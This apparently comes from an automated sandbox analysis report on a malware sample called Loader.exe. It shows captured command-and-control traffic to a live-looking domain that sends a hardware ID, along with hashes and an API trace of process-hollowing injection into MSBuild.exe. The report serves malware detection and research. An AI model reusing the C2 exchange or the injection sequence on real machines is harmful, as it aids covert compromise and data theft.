2024-12-27 22:27:15 UTC	15331	OUT	Data Raw: c4 fd 3d 80 3e 98 89 d0 92 20 66 be 2c a8 ba bc 1f c0 ff f2 82 68 83 49 f7 ca 9c b5 97 89 2d 64 6d 2c d7 01 f5 5d 93 47 60 bb 99 c3 8c 14 b8 ba db 54 1e 22 c5 c3 41 c8 32 e1 0c 4b f7 d1 64 f8 35 99 17 63 17 24 b1 c4 29 be 8e 5f 09 7e 0b c2 ad 04 44 a4 9b 9f c7 fc 03 15 ee dc 9e 0a f5 4e 87 8e 25 c8 32 1b d7 69 22 f8 5d b2 f0 3b 80 72 1b 4a 8a dd 3a f8 3c 84 88 bf c1 b8 98 6c 3b db 5d 34 ac c7 96 11 16 72 e3 1e bc 36 5a 20 1c a5 d2 09 b8 13 73 e1 47 09 b0 96 e1 af 39 26 e7 95 4e 5b 43 b4 84 a8 10 a4 bc 11 a8 43 15 26 88 d0 09 fb 2e d5 3f 80 f8 21 3e 7e 41 89 6f 35 07 1e c5 ca 3f fd 04 0e f4 7e 6d ca 47 99 35 04 4b 70 de 80 f4 27 c1 aa 08 5a b0 6b 4c e3 8b 27 83 ea 0e f9 ed 01 7c b3 49 79 64 7e be d9 2d 7a 54 98 a0 30 53 7b 59 98 ef 5b f5 67 79 86 36 3f 9d Data Ascii: => f,hI-dm,]G`T"A2Kd5c$)_~DN%2i"];rJ:<l;]4r6Z sG9&N[CC&.?!>~Ao5?~mG5Kp'ZkL'\|Iyd~-zT0S{Y[gy6?
2024-12-27 22:27:15 UTC	15331	OUT	Data Raw: 5c 68 fb be 00 ce 51 b3 15 2f c4 06 60 1f 6d 91 ee ff 0f 50 66 9f 6b 3d 2a 34 06 e9 e6 8c 0d bd fd 4f b7 8f c3 c6 77 41 dd 82 6c fe b9 ea fb 87 6f 49 10 b6 1b 05 70 7b 21 32 3f 94 b1 27 7a 28 36 df c8 0e 05 c3 61 b6 bb b7 59 fa 73 d6 ad 9f c1 f5 21 bc dc 29 2c bb 20 fb e8 7e 69 e6 ad 06 35 9b d3 c8 da c6 b8 ef 2f 7d 73 bc 14 c0 1e 3c 27 20 b2 6a 31 46 ea a4 93 2f f7 43 b3 ab 83 2c ad 68 c2 82 9f 2c ce 79 fc d5 fc 36 c0 4f 20 fe 1a 21 06 e1 82 71 5b bf 9e 5d 1a 4d 12 a1 f8 42 e6 8e f9 19 08 99 87 f5 a2 3b 04 9b b2 b4 0e 81 c3 d6 e9 b5 35 46 ab 81 69 4d 68 d3 52 0c 3f bd 91 87 62 6e 52 cc 3d cf b2 d6 93 3e 5d 4f e3 05 93 1b e8 19 3b d0 f4 4b 58 63 81 f2 3a a9 56 36 5d b1 3e 50 56 64 4c e7 8d 72 62 b8 b7 14 b3 59 65 de db 15 f1 4d bf 55 e9 a1 78 ce 83 6b fc Data Ascii: \hQ/`mPfk=*4OwAloIp{!2?'z(6aYs!), ~i5/}s<' j1F/C,h,y6O !q[]MB;5FiMhR?bnR=>]O;KXc:V6]>PVdLrbYeMUxk
2024-12-27 22:27:18 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:27:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=iui75uubb02s3gcostrgku2g86; expires=Tue, 22 Apr 2025 16:13:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GrBj2foQPQ2YRutdRCdPkmcZDwN6W0Rh8sPDMSOZE1CJSz5JMe%2BoM7w7NX15005Z4IcjV%2FNVvpt4TTm0rMhq2SyR3LWKQfv26N2b13pAEaz%2BOLdFQ9FENdnR9cRoXCrfqJP7xFU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cbca9095c8c78-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1881&min_rtt=1833&rtt_var=721&sent=320&recv=595&lost=0&retrans=0&sent_bytes=2844&recv_bytes=572222&delivery_rate=1593016&cwnd=236&unsent_bytes=0&cid=2f30e11b6b22defd&ts=2805&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49741	104.21.30.13	443	7408	C:\Users\user\Desktop\Loader.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 22:27:20 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 89 Host: undesirabkel.click
2024-12-27 22:27:20 UTC	89	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 50 6e 68 71 6f 2d 2d 79 78 6f 6a 62 74 75 71 6e 6e 78 66 26 6a 3d 26 68 77 69 64 3d 44 43 41 33 45 45 35 44 45 45 46 32 46 34 31 39 31 34 34 31 45 44 44 38 45 30 35 43 45 33 44 41 Data Ascii: act=get_message&ver=4.0&lid=LPnhqo--yxojbtuqnnxf&j=&hwid=DCA3EE5DEEF2F4191441EDD8E05CE3DA
2024-12-27 22:27:20 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 22:27:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7clteh8v0a0udsriluo25snnmi; expires=Tue, 22 Apr 2025 16:13:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=iyTS22VelhGKcIC5CV3MJ5pRteEBews6sGsKVZdSxFK%2FDoZrATqQSXkGrlDbfdlVYT6tRDGgnVCGQDy4zqP4HDXy7CwqbYxJ4J6z4w9Kf0DVHvnIfU11u4y%2Bk79S8QPTqyXnw0w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f8cbcc3da287d13-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2049&min_rtt=2041&rtt_var=782&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2844&recv_bytes=991&delivery_rate=1384542&cwnd=252&unsent_bytes=0&cid=10e1b688c1d1c70e&ts=776&x=0"
2024-12-27 22:27:20 UTC	54	IN	Data Raw: 33 30 0d 0a 54 78 33 75 42 79 76 39 38 41 6b 76 4a 51 77 38 55 49 33 68 34 5a 69 32 59 6d 39 4b 56 45 30 4c 38 52 67 31 74 6b 39 78 62 30 41 55 51 41 3d 3d 0d 0a Data Ascii: 30Tx3uByv98AkvJQw8UI3h4Zi2Ym9KVE0L8Rg1tk9xb0AUQA==
2024-12-27 22:27:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:26:54
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0x920000
File size:	567'296 bytes
MD5 hash:	7773630ABC9D30D9E4FB74481736224C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	17:26:54
Start date:	27/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	17:26:55
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0x920000
File size:	567'296 bytes
MD5 hash:	7773630ABC9D30D9E4FB74481736224C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	17:26:55
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\Loader.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Loader.exe"
Imagebase:	0x920000
File size:	567'296 bytes
MD5 hash:	7773630ABC9D30D9E4FB74481736224C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	6.5%
Dynamic/Decrypted Code Coverage:	1.1%
Signature Coverage:	5.3%
Total number of Nodes:	804
Total number of Limit Nodes:	23

Executed Functions

Function 0095A19E Relevance: 44.0, APIs: 11, Strings: 14, Instructions: 295
threadinjectionmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000000,00000000,00000000,00000000,00000004,00000000,00000000,0095A110,0095A100), ref: 0095A334
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 0095A347
Wow64GetThreadContext.KERNEL32(00000098,00000000), ref: 0095A365
ReadProcessMemory.KERNELBASE(0000009C,?,0095A154,00000004,00000000), ref: 0095A389
VirtualAllocEx.KERNELBASE(0000009C,?,?,00003000,00000040), ref: 0095A3B4
TerminateProcess.KERNELBASE(0000009C,00000000), ref: 0095A3D3
WriteProcessMemory.KERNELBASE(0000009C,00000000,?,?,00000000,?), ref: 0095A40C
WriteProcessMemory.KERNELBASE(0000009C,00400000,?,?,00000000,?,00000028), ref: 0095A457
WriteProcessMemory.KERNELBASE(0000009C,?,?,00000004,00000000), ref: 0095A495
Wow64SetThreadContext.KERNEL32(00000098,029E0000), ref: 0095A4D1
ResumeThread.KERNELBASE(00000098), ref: 0095A4E0

Strings

VirtualAlloc, xrefs: 0095A263
Load, xrefs: 0095A1DA
GetP, xrefs: 0095A21E
VirtualAllocEx, xrefs: 0095A29C
ress, xrefs: 0095A226
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe, xrefs: 0095A333
CreateProcessW, xrefs: 0095A250
TerminateProcess, xrefs: 0095A3C3
GetThreadContext, xrefs: 0095A276
WriteProcessMemory, xrefs: 0095A2AF
ResumeThread, xrefs: 0095A2D8
SetThreadContext, xrefs: 0095A2C2
ReadProcessMemory, xrefs: 0095A289
aryA, xrefs: 0095A1E2

Memory Dump Source

Source File: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Process$Memory$ThreadWrite$AllocContextVirtualWow64$CreateReadResumeTerminate
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe$CreateProcessW$GetP$GetThreadContext$Load$ReadProcessMemory$ResumeThread$SetThreadContext$TerminateProcess$VirtualAlloc$VirtualAllocEx$WriteProcessMemory$aryA$ress
API String ID: 2440066154-3857624555
Opcode ID: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction ID: a3ac5f0fc8a2971e50516440e83f973327aa13f762107892372f931766e69240
Opcode Fuzzy Hash: 4d4c1a7e65f8d0d38951af6025ef960edc15c7aa7ffa2998c2434409f37e51df
Instruction Fuzzy Hash: 9FB1077260064AAFDB60CF69CC80BDA73A5FF88714F158524EA0CAB341D774FA55CB94

Function 00922560 Relevance: 10.6, APIs: 7, Instructions: 82
encryptionthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 009225D0

Part of subcall function 0092F20D: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,009225EA,?,?,00000000), ref: 0092F219
Part of subcall function 0092F20D: GetExitCodeThread.KERNEL32(?,00000000,?,?,009225EA,?,?,00000000), ref: 0092F232
Part of subcall function 0092F20D: CloseHandle.KERNEL32(?,?,?,009225EA,?,?,00000000), ref: 0092F244

CryptEncrypt.ADVAPI32 ref: 00922617
CryptDestroyKey.ADVAPI32(00000000), ref: 0092261F
std::_Throw_Cpp_error.LIBCPMT ref: 0092264B
std::_Throw_Cpp_error.LIBCPMT ref: 0092265C
std::_Throw_Cpp_error.LIBCPMT ref: 0092266D
std::_Throw_Cpp_error.LIBCPMT ref: 0092267E

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CryptThread$CloseCodeCurrentDestroyEncryptExitHandleObjectSingleWait
String ID:
API String ID: 1492798345-0
Opcode ID: 3116489f10b0f6f7432583a78ce6bd30eb39b6d3a9c86556dcb257c591b00a81
Instruction ID: d0e35dab9c0cafd7b70f405c4b2cb380e661b97833206a27a1db158528c48516
Opcode Fuzzy Hash: 3116489f10b0f6f7432583a78ce6bd30eb39b6d3a9c86556dcb257c591b00a81
Instruction Fuzzy Hash: 303195F2D40325ABEB10EF90EC06BAEBBF4EB45710F040225E515762C5E3B55A54CBE2

Function 00922060 Relevance: 9.2, APIs: 6, Instructions: 200
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00921240: _strlen.LIBCMT ref: 009212BA

CreateFileA.KERNELBASE ref: 009220E6
GetFileSize.KERNEL32(00000000,00000000), ref: 009220F6
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 0092211B
CloseHandle.KERNELBASE(00000000), ref: 0092212A
_strlen.LIBCMT ref: 0092217D
CloseHandle.KERNEL32(00000000), ref: 009222AD

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: File$CloseHandle_strlen$CreateReadSize
String ID:
API String ID: 2911764282-0
Opcode ID: 802f08166a50a8232cb7fee5218fcfcabd245e4506a0fc69116c34dbaee33872
Instruction ID: 93807cb800decb627051531cee7a860eab1433e6fda234c3f92c8cb605f70267
Opcode Fuzzy Hash: 802f08166a50a8232cb7fee5218fcfcabd245e4506a0fc69116c34dbaee33872
Instruction Fuzzy Hash: CF71B2B2D00225DBCB14DFA4EC45BAEBBB4FF99310F140628E814B7395E735A945CBA1

Function 00921000 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9b9cbaecb5b45e3655f2008dcd3551e2e01a61d6e392fc5691510468157d1c9f
Instruction ID: 1fe8d55b243694c9b7f764b1637f66bbe92bd3026174a6867539f3039277a25c
Opcode Fuzzy Hash: 9b9cbaecb5b45e3655f2008dcd3551e2e01a61d6e392fc5691510468157d1c9f
Instruction Fuzzy Hash: E4215A336502750B879C9F387C62037FB4ADBD66A0705573AED129F2C9E520DE6082E8

Function 0093CFFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,F84A4DD6,?,0093D10A,?,?,00000000), ref: 0093D0BC

Strings

api-ms-, xrefs: 0093D052
ext-ms-, xrefs: 0093D066

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 5b303bd13b3eab0dc19e34b9bd4e972680ab6d6bcc8e5fa19373778bd64c5abb
Instruction ID: 50e4c0312ccbe0be5f2c6e192723abfd401000311d5db4a982b8b861695c0767
Opcode Fuzzy Hash: 5b303bd13b3eab0dc19e34b9bd4e972680ab6d6bcc8e5fa19373778bd64c5abb
Instruction Fuzzy Hash: E4210531B03310ABC7359B72FC51A6A33AC9B81B61F250610E955A72D0DB30ED02DBD1

Function 00921800 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strlen.LIBCMT ref: 00921833

Strings

ios_base::failbit set, xrefs: 00921C9F
ios_base::eofbit set, xrefs: 00921C9A
ios_base::badbit set, xrefs: 00921CAA, 00921CD0

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: eb509b6ee76d7b83b0697b616aeb3f2a6890265f973696f7d4e8c44fe67d2607
Instruction ID: fe52d2f7c0029f8ae4088de26fa664af2f4dcdfe965cf71f1a782190cebdd4a0
Opcode Fuzzy Hash: eb509b6ee76d7b83b0697b616aeb3f2a6890265f973696f7d4e8c44fe67d2607
Instruction Fuzzy Hash: 05F17E75A012248FCB14CF68D494BADBBF1FF88324F198259E855AB3A5C734ED41CB90

Function 00935439 Relevance: 4.6, APIs: 3, Instructions: 51
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE(00000000,00000000,Function_00015560,00000000,00000000,00000000), ref: 00935482
GetLastError.KERNEL32(?,?,?,009225BB,00000000,00000000), ref: 0093548E
__dosmaperr.LIBCMT ref: 00935495

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: CreateErrorLastThread__dosmaperr
String ID:
API String ID: 2744730728-0
Opcode ID: 155a44b18db64dd788c126cbbf91bfaced594925ea39d10c6dd59595fde6048b
Instruction ID: 8b0cd428bbc53137abfaff9b3bfd13f688f3b508f1e39d5a184623e293c67241
Opcode Fuzzy Hash: 155a44b18db64dd788c126cbbf91bfaced594925ea39d10c6dd59595fde6048b
Instruction Fuzzy Hash: 9601B172504619AFCF19DFE1DC0AAAE7BA9EF48322F014058FC01921A0EB30DE40DF90

Function 009355DE Relevance: 4.5, APIs: 3, Instructions: 30
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0093C3AB: GetLastError.KERNEL32(00000000,?,009377D9,0093D3F6,?,?,0093C2A7,00000001,00000364,?,00000003,000000FF,?,00935585,00958E90,0000000C), ref: 0093C3AF
Part of subcall function 0093C3AB: SetLastError.KERNEL32(00000000), ref: 0093C451

CloseHandle.KERNEL32(?,?,?,009354C9,?,?,009355BE,00000000), ref: 0093560F
FreeLibraryAndExitThread.KERNELBASE(?,?,?,?,009354C9,?,?,009355BE,00000000), ref: 00935625
ExitThread.KERNEL32 ref: 0093562E

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: ErrorExitLastThread$CloseFreeHandleLibrary
String ID:
API String ID: 1991824761-0
Opcode ID: ecc1b466caba132ccf4041fcc98f9fd5e008f6b1af11220559d761b68faa794e
Instruction ID: e0f1c2116a99e3624433a57b77edd4ec4c9054f858c5e9baa7e2a39fec9c504e
Opcode Fuzzy Hash: ecc1b466caba132ccf4041fcc98f9fd5e008f6b1af11220559d761b68faa794e
Instruction Fuzzy Hash: CDF05E70514F006BCB212B25C94AA1A7B9DEF09328F8A4614F9A5D31B0DB30ED41CF50

Function 0093574F Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000002,?,00935811,00938486,00938486,?,00000002,F84A4DD6,00938486,00000002), ref: 00935760
TerminateProcess.KERNEL32(00000000,?,00935811,00938486,00938486,?,00000002,F84A4DD6,00938486,00000002), ref: 00935767
ExitProcess.KERNEL32 ref: 00935779

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667878570.00000000009AF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_920000_Loader.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 6c30a243fac9c9349591cbda201ed68257eab32d9d78787153936265654c362d
Instruction ID: 7b26b076586ba166e21a113a1f6cece76736bd39574aad84dafba67caaf29ba7
Opcode Fuzzy Hash: 6c30a243fac9c9349591cbda201ed68257eab32d9d78787153936265654c362d
Instruction Fuzzy Hash: BDD09E31014604AFCF513F62DC0D9593F2AEF89352B858018B9495A171DF329951EF80

Function 00943CE4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0094408E: GetConsoleOutputCP.KERNEL32(F84A4DD6,00000000,00000000,?), ref: 009440F1

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00938674,?), ref: 00943E69
GetLastError.KERNEL32(?,?,00938674,?,009388B8,00000000,?,00000000,009388B8,?,?,?,00959040,0000002C,009387A4,?), ref: 00943E73

Memory Dump Source

Source File: 00000000.00000002.1667481137.0000000000921000.00000020.00000001.01000000.00000003.sdmp, Offset: 00920000, based on PE: true

Associated: 00000000.00000002.1667462328.0000000000920000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667506102.000000000094D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667584332.000000000095A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667603536.000000000095B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667622823.000000000095F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1667841609.0000000000962000.00000008.00000001.01000000.00000003.sdmpDownload File
